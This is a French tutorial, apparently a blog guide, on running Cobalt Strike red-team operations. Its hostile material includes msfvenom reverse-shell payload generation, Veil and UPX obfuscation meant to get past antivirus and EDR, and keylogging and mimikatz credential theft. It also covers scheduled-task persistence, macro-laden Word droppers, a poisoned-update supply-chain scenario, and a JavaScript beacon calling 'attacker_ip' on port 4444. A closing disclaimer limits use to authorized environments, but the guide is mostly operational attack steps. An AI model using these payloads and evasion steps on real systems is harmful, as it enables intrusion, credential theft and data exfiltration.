🚩 Cobalt Strike - Guide Red Teaming Ultime
Cobalt Strike est l’outil le plus puissant pour orchestrer des campagnes de Red Teaming, simulant des attaques réelles avec des capacités avancées de Command & Control (C2), de gestion de payloads, et d’analyse réseau. Ce guide explore ses fonctionnalités en profondeur, avec des scénarios concrets et des techniques professionnelles.
Pré-requis Essentiels
- Un serveur dédié (Linux ou Windows) pour héberger le **Teamserver**.
- Java JDK 8 ou supérieur installé sur le serveur et votre machine cliente.
- Un réseau isolé pour tester vos simulations (par exemple, VirtualBox ou VMware).
- Des outils complémentaires comme **BloodHound**, **Metasploit**, ou **Wireshark**.
- Une licence valide pour utiliser Cobalt Strike.
- Désactivez temporairement les pare-feux locaux sur vos machines de test ou configurez des règles spécifiques pour autoriser le trafic C2.
- Considérez des alternatives open-source comme Sliver ou Mythic pour des tests similaires.
2️⃣ Installation et Configuration
Étape 1 : Déploiement du Teamserver
Après avoir téléchargé Cobalt Strike, décompressez les fichiers et exécutez le **Teamserver** :
Pour démarrer le Teamserver, exécutez la commande suivante :
java -jar teamserver <Votre_IP> mot_de_passe
<Votre_IP>par l’adresse IP publique ou privée de votre serveur.mot_de_passepar un mot de passe sécurisé pour l’accès au Teamserver.
Testez si le serveur est opérationnel avec cette commande :
nc -zv <Votre_IP> 50050
Étape 2 : Lancer le Client
Sur votre machine cliente, connectez-vous au Teamserver en exécutant :
java -jar cobaltstrike.jar
Renseignez les informations demandées :
- IP : Adresse IP du Teamserver.
- Port : 50050 (par défaut).
- Mot de passe : Celui configuré lors du déploiement.
3️⃣ Listeners et Payloads : Gestion Avancée
Types de Listeners Disponibles
Cobalt Strike supporte plusieurs protocoles pour établir des connexions avec les cibles :
- HTTP/HTTPS : Communication classique et discrète via des ports web.
- DNS : Exfiltration et commandes via des requêtes DNS.
- SMB : Utilisé pour la communication entre machines sur un réseau local.
Créer un Listener HTTP
Depuis l’interface de Cobalt Strike, ajoutez un Listener avec les paramètres suivants :
Clic droit -> Listeners -> Add Listener
Type: HTTP
Host: <Votre_IP>
Port: 8080
Générer des Payloads
Dans le menu "Attacks" :
- Sélectionnez "Payload Generator".
- Choisissez le listener configuré.
- Sélectionnez le format (exemple : EXE pour Windows).
- Générez et testez votre payload dans votre environnement de test.
Payloads Avancés
Créez des payloads pour des environnements restreints, comme un script PowerShell :
cobaltstrike -> Attacks -> Web Drive-By -> Powershell Payload
Payloads Obfusqués
Pour contourner les antivirus, combinez Cobalt Strike avec Veil Framework :
veil
use 1
set PAYLOAD windows/meterpreter/reverse_https
generate
4️⃣ Post-Exploitation Professionnelle
Commandes Beacons
Une fois connecté à une cible via un beacon, exploitez les commandes suivantes :
shell :Accès à un terminal distant.download :Téléchargez des fichiers depuis la machine cible.upload :Envoyez des fichiers vers la machine cible.powershell :Exécutez des scripts PowerShell.screenshot :Capture d’écran de la cible.keylogger :Active un enregistrement des frappes clavier.mimikatz :Extrait les informations d'identification (nécessite un chargement préalable).sleep :Ajuste la fréquence de communication du beacon pour réduire la détection.
Mouvement Latéral
Utilisez **PowerView** ou **BloodHound** pour identifier les relations Active Directory :
powershell-import /path/to/PowerView.ps1
powershell Get-DomainUser
Pivotez vers d’autres machines en utilisant des commandes de rebond :
pivot -> host:<IP cible> -> port:445
5️⃣ Évasion et Contournement des Défenses
Les systèmes modernes utilisent des outils comme EDR (Endpoint Detection and Response) pour détecter les activités malveillantes. Voici quelques tactiques d’évasion :
- Injectez les payloads dans des processus légitimes comme
explorer.exe. - Configurez des tâches planifiées pour maintenir la persistance :
schtasks /create /tn "UpdateTask" /tr "C:\path\to\payload.exe" /sc daily
Invoke-Obfuscation :
powershell -ep bypass -file obfuscate.ps1
upx -9 payload.exe
6️⃣ Scénarios Pratiques de Red Teaming
Scénario 1 : Attaque par Phishing
Envoyez un email avec un lien vers une page hébergeant un payload généré. Capturez les connexions et interagissez avec les cibles.
veil
use 1
set PAYLOAD windows/meterpreter/reverse_https
generate
Scénario 2 : Évasion Avancée
Utilisez un listener DNS pour exfiltrer des données d’un réseau hautement surveillé.
Type: DNS
Host: <Votre_IP>
Port: 53
Scénario 3 : Déplacement Latéral
Explorez Active Directory, identifiez les comptes privilégiés, et exécutez des commandes pour atteindre d’autres machines.
powershell-import /path/to/PowerView.ps1
Get-DomainUser
Scénario 4 : Attaque par Dropper
Générez un payload dissimulé dans un document Word malveillant. Testez-le dans un environnement virtualisé pour évaluer sa discrétion.
msfvenom -p windows/meterpreter/reverse_https LHOST=<Votre_IP> LPORT=443 -f exe > payload.exe
Insert payload.exe into macro-enabled Word document.
Scénario 5 : Compromission de chaînes d'approvisionnement
Simulez une attaque sur un serveur de mise à jour. Injectez un payload malveillant dans une chaîne de mise à jour et surveillez la propagation à travers les cibles.
Inject malicious updates into the target server update mechanism.
Distribute updates to targeted clients.
Scénario 6 : Gestion de campagnes multi-cibles
Créez et gérez plusieurs beacons sur des réseaux isolés. Exploitez les connexions parallèles pour simuler une attaque à grande échelle avec des cibles diversifiées.
Étapes de la Simulation :
- Création des Beacons : Développez plusieurs beacons personnalisés pour s'adapter à des environnements divers. Chaque beacon sera conçu pour exploiter des vulnérabilités spécifiques selon les systèmes cibles (Windows, Linux, systèmes embarqués, etc.).
- Déploiement sur des réseaux isolés : Utilisez des vecteurs d'infection comme des mises à jour logicielles compromises ou des périphériques USB infectés pour installer les beacons sur des réseaux isolés.
- Exploitation des connexions parallèles : Utilisez les connexions entre différents réseaux pour étendre l'infection. Les beacons peuvent se propager à travers des VPN ou des canaux cachés, facilitant ainsi une attaque à grande échelle.
- Surveillance de la campagne : Suivez l'état des beacons à travers un tableau de bord dédié, permettant une gestion centralisée de la campagne et une analyse en temps réel des systèmes compromis.
- Objectif Final : Déployer des beacons de manière stratégique sur des cibles multiples, coordonner les actions des beacons pour un impact maximal et exécuter des attaques comme des vols de données ou des attaques par déni de service.
Exemple de Code pour la Simulation d'un Beacon :
<script type="text/javascript">
// Connecter au serveur de commande et contrôle
function connectToCNC() {
let cncHost = "attacker_ip"; // Adresse IP du C&C
let cncPort = 4444; // Port du serveur C&C
let socket = new WebSocket("ws://" + cncHost + ":" + cncPort);
socket.onopen = function() {
console.log("Connexion au serveur C&C établie");
};
socket.onerror = function(error) {
console.log("Erreur de connexion : " + error.message);
};
return socket;
}
// Envoyer une commande au serveur C&C
function sendCommand(socket, command) {
socket.send(command);
socket.onmessage = function(event) {
console.log("Réponse du serveur C&C : " + event.data);
};
}
// Fonction principale du Beacon
function beacon() {
let socket = connectToCNC();
if (socket) {
setInterval(function() {
sendCommand(socket, "CHECK"); // Vérifier les commandes toutes les 5 secondes
}, 5000);
}
}
// Démarrer le Beacon
beacon();
</script>
7️⃣ Automatisation des Tâches
Exemple de Script Python
Automatisez la gestion des listeners avec ce script :
import requests
url = "https://:50050/api/"
headers = {'Authorization': 'Bearer '}
response = requests.get(url + "listeners", headers=headers, verify=False)
print(response.json())
8️⃣ Sécurité et Logs
Déployez un VPN et configurez un pare-feu pour restreindre l'accès au serveur Teamserver, en assurant une communication sécurisée et une surveillance efficace des logs.
Étapes
- Déploiement du VPN : Configurez un VPN pour crypter la communication entre le Teamserver et les clients. Le VPN doit être configuré de manière à ce que seules les connexions authentifiées puissent accéder au serveur.
- Configuration du Pare-feu : Mettez en place un pare-feu sur le serveur Teamserver pour filtrer les connexions entrantes et sortantes. Configurez des règles strictes pour n'autoriser que les connexions venant du réseau VPN sécurisé.
- Accès Restreint : Limitez les connexions aux seuls utilisateurs authentifiés et à des adresses IP spécifiques pour réduire les risques d'accès non autorisés.
- Surveillance des Logs : Activez la journalisation des événements de sécurité et des connexions réseau. Configurez des alertes pour toute activité suspecte, telle que des tentatives de connexion échouées ou des connexions provenant d'adresses IP non autorisées.
- Audits de Sécurité : Effectuez des audits réguliers des logs et des configurations de sécurité pour identifier et corriger toute vulnérabilité ou tentative d'intrusion.
Exemple de Code pour la Configuration du Pare-feu :
# Exemple de configuration de pare-feu avec iptables (Linux)
# Bloquer toutes les connexions par défaut
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# Autoriser les connexions locales
iptables -A INPUT -i lo -j ACCEPT
# Autoriser le trafic VPN (par exemple, OpenVPN sur le port 1194)
iptables -A INPUT -p udp --dport 1194 -j ACCEPT
# Autoriser l'accès au Teamserver uniquement depuis des IPs autorisées (ex: 192.168.1.0/24)
iptables -A INPUT -s 192.168.1.0/24 -p tcp --dport 8080 -j ACCEPT
# Activer la journalisation pour les connexions suspectes
iptables -A INPUT -m state --state NEW -j LOG --log-prefix "NEW CONNECTION: "
Exemple de Code pour la Configuration du VPN :
# Exemple de configuration OpenVPN (serveur)
# Configurer le serveur VPN pour écouter sur le port 1194
port 1194
proto udp
dev tun
# Authentification par certificats SSL
ca ca.crt
cert server.crt
key server.key
# Activer le routage du trafic
push "redirect-gateway def1"
# Sécuriser les clients en attribuant des adresses IP du réseau 10.8.0.0/24
server 10.8.0.0 255.255.255.0
# Configurer la clé de chiffrement
cipher AES-256-CBC
Surveillance des Logs :
- Activer la journalisation dans le VPN : Configurez le VPN pour enregistrer les tentatives de connexion, les déconnexions et les erreurs dans un fichier de log spécifique.
- Activer la journalisation dans le pare-feu : Assurez-vous que le pare-feu enregistre les tentatives de connexion non autorisées et toute activité suspecte, et envoyez des alertes en cas de détection.
- Utilisation de systèmes de gestion des logs : Intégrez les logs à un système centralisé de gestion des logs comme **ELK Stack** (Elasticsearch, Logstash, Kibana) ou **Splunk** pour une surveillance en temps réel et une analyse approfondie.
9️⃣ Rappels Légaux et Éthiques
⚠️ Important : L’utilisation de Cobalt Strike est réservée aux environnements autorisés. Toute utilisation abusive ou non autorisée est illégale.